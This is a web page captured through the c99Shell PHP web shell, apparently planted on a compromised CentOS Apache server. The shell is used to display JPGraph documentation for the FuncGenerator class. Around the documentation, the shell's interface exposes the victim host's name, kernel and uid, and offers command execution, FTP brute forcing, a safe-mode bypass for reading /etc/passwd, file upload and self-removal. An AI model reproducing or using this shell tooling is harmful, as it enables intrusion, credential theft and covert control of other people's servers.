!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/jpgraph/docs/ref/   drwxr-xr-x
Free 52.33 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FuncGenerator.html (6.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

CLASS FuncGenerator
(Defined in: jpgraph.php : 673)
 FuncGenerator 
 E() 
 FuncGenerator() 
 

Class usage and Overview
A utility class to help with function plots. This class supprots both ordinary one-variable plots with one dependent variable as well as polar plots. Basically you create an instance of this class with the function you want to plot as a string argument. The function should be created using 'x' as the independent variable. You then invoke its evaluation method 'E()' with the range for the independent variable and possibly a step size. The method then returns an array of X, and Y values that represents the plot. Please remember that the string should be specified with single quotes since otherwise PHP will try to interpret the variable in the string. For example, to specify a simple cos() plot you specify: $f = new FuncGenerator('cos($x)';

 


Class Methods

 

 

Evaluate a X-Y function

ArgumentDefaultDescription
$aXMin  Min x-value
$aXMax  Max x-value
$aSteps 50 Number of steps

Description
Evaluate the previous specified function between the specified values. The return two arrays representing the X and Y coordinates for the function. 

Example

// Create a simple linear plot
$f = new FuncGenerator('cos($x) * sin($x)');
list($xdata,$ydata) = $f->E(-2*M_PI, 2*M_PI);

$lp1 = new LinePlot($ydata,$xdata);

// Create a simple polar plot (a circle)
$p = new FuncGenerator('cos($i)', 'sin($i)');
list($x2data,$y2data) = $f->E(-2*M_PI, 2*M_PI);

$lp2 = new LinePlot($y2data,$x2data);

//...

 

 

Create a new function generator.

ArgumentDefaultDescription
$aFunc  Function
$aXFunc '' X-Function

Description
Creates a new funciton generator. You can create both a linear plot as well as polar plot. For linear, one-variable plots, you must use '$x' as the independent variable. For polar plots you should use the index '$i' for the generating functions.  

Example

// Create a simple linear plot
$f = new FuncGenerator('cos($x) * sin($x)');
list($xdata,$ydata) = $f->E(-2*M_PI, 2*M_PI);

$lp1 = new LinePlot($ydata,$xdata);

// Create a simple polar plot (a circle)
$p = new FuncGenerator('cos($i)', 'sin($i)');
list($x2data,$y2data) = $f->E(-2*M_PI, 2*M_PI);

$lp2 = new LinePlot($y2data,$x2data);

//...



:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0047 ]--